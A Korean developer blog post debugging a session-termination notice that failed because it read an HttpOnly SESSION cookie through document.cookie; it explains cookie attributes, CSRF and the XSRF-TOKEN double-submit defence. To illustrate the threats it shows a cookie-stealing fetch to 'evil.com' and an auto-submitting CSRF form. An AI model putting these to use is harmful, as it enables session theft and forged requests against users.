본문으로 건너뛰기

HttpOnly 쿠키와 XSRF-TOKEN, 세션 식별 트러블슈팅

·15 min read

daisy-monorepo에서 다른 기기로 같은 계정에 로그인하면 기존 기기에 "세션 종료" 모달이 떠야 했다. 그런데 안내가 조용히 안 떴다. 버그를 쫓다가 "왜 세션 식별용 fingerprint를 SESSION이 아니라 XSRF-TOKEN에서 읽어야 하는가"까지 파고들게 됐다. 그 과정에서 쿠키, document.cookie, HttpOnly, CSRF를 다시 정리했다.

결론부터 말하면, fingerprint를 HttpOnly가 걸린 SESSION 쿠키에서 document.cookie로 읽으려 했고, 그래서 값이 항상 비어서 세션 종료 알림이 조용히 무산됐다. 아래는 그 원인을 되짚기 위해 다시 정리한 쿠키 기본기와, 버그가 거기 어떻게 걸려 있었는지다.

쿠키는 개발자가 아니라 브라우저가 붙여 보낸다

서버가 HTTP 응답에 Set-Cookie 헤더로 값을 내려주면, 브라우저가 저장해 뒀다가 같은 대상에게 요청할 때마다 Cookie 헤더에 실어 자동으로 보낸다. 로그인 상태 유지처럼 "요청마다 나를 증명"해야 하는 데 쓰인다.

# 서버 → 브라우저 (응답)
Set-Cookie: SESSION=abc123; Domain=d-aisy.com; Path=/; Secure; HttpOnly; SameSite=None
 
# 이후 브라우저 → 서버 (요청마다 자동)
Cookie: SESSION=abc123

핵심은 개발자가 코드로 붙이는 게 아니라 브라우저가 알아서 붙인다는 점이다. 이 자동성이 편의이자 동시에 CSRF의 근본 원인이다.

쿠키 속성이 전송 범위와 접근 권한을 정한다

속성의미이번 프로젝트에서
Domain이 쿠키를 어떤 호스트에 보낼지. Domain=d-aisy.com이면 *.d-aisy.com 서브도메인에 모두 전송3앱(platform/admin/lineup)이 한 SESSION을 공유하는 근거
Path어떤 경로에 보낼지 (/면 전체)
SecureHTTPS 요청에만 전송SESSION에 적용됨
HttpOnlyJS에서 접근 불가 (document.cookie에 안 보임)SESSION에 적용됨 → 이번 버그의 핵심
SameSite크로스 사이트 요청에 쿠키를 붙일지 (Strict/Lax/None)SESSION은 None(외부 SSO 왕복 때문)
Max-Age/Expires만료 시점. Max-Age=0이면 즉시 삭제쿠키 clear에 사용

document.cookie로 HttpOnly 쿠키는 아예 안 보인다

document.cookie는 브라우저 JS에서 쿠키를 읽고 쓰는 유일한 표준 API다.

// 읽기 — "이름=값; 이름=값" 형태의 문자열 하나로 전부 반환
document.cookie
// → "XSRF-TOKEN=xyz; theme=dark"
 
// 쓰기 — 한 번에 쿠키 하나
document.cookie = 'theme=dark; Path=/; Max-Age=3600'
 
// 삭제 — Max-Age=0 으로 덮어쓰기
document.cookie = 'theme=; Path=/; Max-Age=0'

우리 코드에서 쿠키 값을 꺼내는 헬퍼도 결국 이 문자열을 파싱하는 것이다.

function readCookieValue(name: string): string | undefined {
  if (typeof document === 'undefined') return undefined // SSR 가드
  return document.cookie
    .split('; ')
    .find((cookie) => cookie.startsWith(`${name}=`))
    ?.slice(name.length + 1)
}

함정은 여기 있다. API 자체는 언제나 호출할 수 있다. 문제는 HttpOnly가 붙은 쿠키를 브라우저가 document.cookie 결과에서 통째로 빼버린다는 것이다. 그래서 "조회 가능하냐"는 API가 아니라 쿠키별 속성에 달려 있다.

// SESSION은 HttpOnly → 서버로는 잘 전송되지만 JS 눈에는 없음
document.cookie.includes('SESSION=') // → false (존재하는데도!)

왜 이렇게 막나. XSS(악성 스크립트 주입)로부터 세션을 지키기 위해서다. 세션 쿠키를 JS로 읽을 수 있으면, 페이지에 주입된 악성 스크립트가 fetch('evil.com?c='+document.cookie)로 세션을 통째로 빼돌릴 수 있다. HttpOnly는 "이 쿠키는 브라우저와 서버 사이에만 존재하고 JS는 건드리지 못한다"는 선언이다.

인증용 세션 쿠키가 HttpOnly인 건 정상이자 권장 사항이다. 그러니 "JS로 세션 값을 읽어서 뭔가 하겠다"는 설계는 처음부터 성립하지 않는다.

자동으로 붙는 쿠키가 CSRF의 뿌리였다

CSRF(Cross-Site Request Forgery)는 쿠키가 "요청을 누가 보냈든 자동으로 붙는다"는 성질을 악용한다.

  1. 사용자가 우리 서비스에 로그인된 상태 (브라우저에 SESSION 쿠키 있음)
  2. 사용자가 악성 사이트 evil.com 방문
  3. evil.com에 이런 게 심어져 있음:
<form action="https://api.d-aisy.com/v1/user/withdraw" method="POST"></form>
<script>
  document.forms[0].submit()
</script>
  1. 폼이 제출되면 브라우저가 SESSION 쿠키를 자동으로 붙여 우리 API로 보낸다. 서버 입장에선 정상 로그인 사용자의 요청과 구분이 안 된다. 사용자 몰래 탈퇴나 정보 변경이 실행된다.

특히 우리 SESSION은 SameSite=None이다. 외부 DIOS SSO 왕복 때문에 크로스 사이트 전송을 허용해야 해서다. 그래서 SameSite로는 CSRF를 못 막는다. 별도 방어가 필요했다.

Double-Submit Cookie 패턴으로 CSRF를 막는다

이름 XSRF는 Cross-Site Request Forgery의 관용 표기다(Spring/Angular 진영 관례).

  1. 서버가 세션 생성 시 무작위 토큰을 XSRF-TOKEN 쿠키로 내려준다. SESSION과 달리 일부러 HttpOnly를 안 건다. JS가 읽어야 하니까.
  2. 정상 프론트(우리 앱)는 요청마다 이 쿠키를 JS로 읽어 X-XSRF-TOKEN 헤더에 복사해 보낸다.
  3. 서버는 "쿠키의 토큰 == 헤더의 토큰"을 대조한다. 일치해야 통과.
// 우리 인터셉터 (packages/auth/src/fetch-interceptors.ts)
const xsrf = await getXsrfToken() // document.cookie 에서 XSRF-TOKEN 읽기
if (xsrf) headers.set('X-XSRF-TOKEN', xsrf) // 헤더로 echo

이 왕복을 그림으로 보면 이렇다.

왜 이게 CSRF를 막나. evil.com은 폼 제출로 쿠키를 자동으로 실어 보낼 수는 있어도, Same-Origin Policy 때문에 다른 도메인(d-aisy.com)의 쿠키 값을 읽을 수는 없다. 헤더에 올바른 토큰을 복사해 넣는 건 *.d-aisy.com에서 실행되는 우리 JS만 가능하다. 헤더가 맞다는 건 "진짜 우리 프론트가 보낸 요청"이라는 증명이 된다.

두 쿠키의 역할이 정반대다

SESSIONXSRF-TOKEN
역할인증 (당신이 누구인가)CSRF 증명 (우리 앱이 보낸 요청인가)
HttpOnly적용 (탈취 방지 위해 JS 차단)미적용 (설계상 JS가 읽어야 동작)
document.cookie로 읽기불가가능
세션 종속성세션 그 자체세션 생성 시 함께 발급(되어야 함)

버그로 돌아오니 fingerprint가 항상 죽어 있었다

다른 기기에서 같은 계정으로 로그인하면 기존 기기에 "세션 종료" 안내가 떠야 했다. 그런데 안내 없이 그냥 DIOS(외부 SSO)로 튕겼다. lineup 앱은 10초쯤 더 늦게 튕겼다.

세션 종료 알림 쿠키(DAISY_SESSION_TERMINATION)에는 "이 알림이 어느 세션 것인가"를 표시하는 fingerprint가 들어간다. 재로그인 후 옛 알림이 다시 뜨는 유령 알림을 막기 위한 장치다. 그런데 이 fingerprint를 HttpOnly인 SESSION 쿠키 값을 document.cookie로 읽어서 만들려고 했다.

function currentSessionFingerprint(): string | null {
  const session = readCookieValue('SESSION') // HttpOnly → 항상 undefined!
  if (!session) return null // → 항상 null 반환
  // ... 해시 (도달 불가)
}

SESSION은 HttpOnlydocument.cookie에서 안 읽힌다. fingerprint는 항상 null이 됐고, 알림 발행 함수가 payload를 못 만들어 조용히 아무 일도 안 했다. 백엔드가 401에 SESSION_FORCED_OUT 코드를 정확히 내려줘도 알림이 안 떴다. 화면이 DIOS로 튕긴 건, 코드가 안 실린 다른 401/444가 일반 인증 실패 경로로 빠진 것이었다.

실측으로 확인하니 추론 두 개가 틀려 있었다

curl -D -로 dev SLO stub 로그인 응답의 Set-Cookie를 직접 봤다.

# dev SLO stub 로그인 응답의 Set-Cookie
SESSION=...; Domain=d-aisy.com; Path=/; Secure; HttpOnly; SameSite=None
#                                        ^^^^^^  ^^^^^^^^  ← HttpOnly 확정, JS 못 읽음
  • SESSION은 HttpOnlydocument.cookie로 못 읽는다. fingerprint가 항상 null인 게 확정됐다.
  • XSRF-TOKEN은 백엔드가 아예 발급하지 않았다. 인증 API 응답 Set-Cookie에 SESSION과 로드밸런서 쿠키(AWSALB)뿐이었다. 인터셉터의 XSRF echo 코드는 "쿠키 있으면 보내는" 방어 코드일 뿐 실제로는 미발송 상태였다.

프론트만으로 세 가지를 손봤다

  1. fingerprint 소스를 SESSION에서 XSRF-TOKEN 폴백으로 전환했다. XSRF-TOKEN은 document.cookie로 읽을 수 있는(설계상 non-HttpOnly) 세션 스코프 값이라 대체 식별자로 적합하다. 단 현재 백엔드 미발급이라 다음 단계로 넘어갔다.
  2. 둘 다 못 읽으면 고정값 'unidentified'를 반환하도록 했다. 식별 불가를 이유로 알림을 무산시키지 않기 위해서다. 알림이 조용히 죽는 것보다 뜨는 게 낫다.
  3. 유령 알림 방지는 fingerprint 대신 "성공(2xx) 응답이 오면 세션이 살아있다는 뜻이고, 남은 종료 payload는 이전 세션 잔재이니 제거한다"는 규칙으로 보완했다.

남은 한계는 그대로 적어둔다

XSRF-TOKEN이 발급 안 되는 지금은 fingerprint가 항상 'unidentified'라 세션 구분 기능이 사실상 꺼져 있다. 정상 흐름(강제종료→모달→전파→확인→DIOS)은 문제없지만, "쫓겨난 기기가 나중에 같은 브라우저로 재로그인"하는 경로에서 잔재 payload가 mount 시점에 읽혀 유령 모달이나 리다이렉트가 1회 샐 수 있다. clear-on-success가 네트워크 왕복이라 mount 읽기와 레이스가 난다.

정석 해법은 백엔드에 "세션마다 달라지는 무작위 값을 담은 non-HttpOnly 쿠키"를 요청(예: 기존 ACTIVE_SESSION_EXISTS에 값 부여)하고 fingerprint 소스를 그걸로 교체하는 것이다. 프론트 단독 대안으로는, payload marker에 이미 Date.now()가 박혀 있으니 "발행 후 N초 지난 payload는 무시"하는 프레시니스 윈도우를 추가할 수 있다. 전파는 1초 폴링이라 무관하고, 재로그인은 수십 초에서 분 뒤라 자동 만료된다.

이번에 챙긴 원칙

  1. document.cookie로 "읽을 수 있냐"는 쿠키의 HttpOnly 속성이 결정한다. 코드가 readCookie('X')를 호출한다고 반드시 값이 나오는 게 아니다. 인증/세션 쿠키는 거의 항상 HttpOnly이므로 JS로 못 읽는다고 전제하는 게 맞다.
  2. JS로 세션 값을 읽어야 하는 설계는 의심한다. 보안상 세션은 JS에서 가려지는 게 정상이다. "세션을 식별해야 한다"면 세션 값 자체가 아니라, JS가 읽으라고 만든 별도 non-HttpOnly 값(XSRF-TOKEN 등)을 써야 한다.
  3. 추론 대신 실측한다. "XSRF-TOKEN이 있을 것"이라는 가정이 틀렸다(백엔드 미발급). curl -D -로 실제 Set-Cookie를 눈으로 확인하니 원인이 명확해졌다.
  4. 조용한 실패(silent no-op)를 경계한다. fingerprint가 null이면 알림을 그냥 안 보내는 설계라, 감지 코드는 멀쩡한데도 아무 일도 안 일어나 디버깅이 어려웠다. "실패하면 아무것도 안 함"보다 "실패해도 최소 동작 + 로그"가 낫다.
  5. SameSite로 막을 수 없는 CSRF가 있다. 외부 SSO 왕복 때문에 SameSite=None을 쓰면 SameSite 방어가 무력화되므로 XSRF-TOKEN 같은 명시적 CSRF 방어가 실질 방어선이 된다.

참고: 관련 코드 위치

  • packages/auth/src/session-termination.ts — fingerprint, payload 발행/구독, 쿠키 read/write
  • packages/auth/src/fetch-interceptors.ts — 401/444 감지, XSRF echo, clear-on-success
  • packages/auth/src/use-session-termination.ts — 구독 훅({open, confirm} 반환)
  • packages/ui/src/session-termination-dialog.tsx — "자동 로그아웃" 모달 UI
  • apps/*/src/providers/session-termination-listener.tsx — 3앱 얇은 래퍼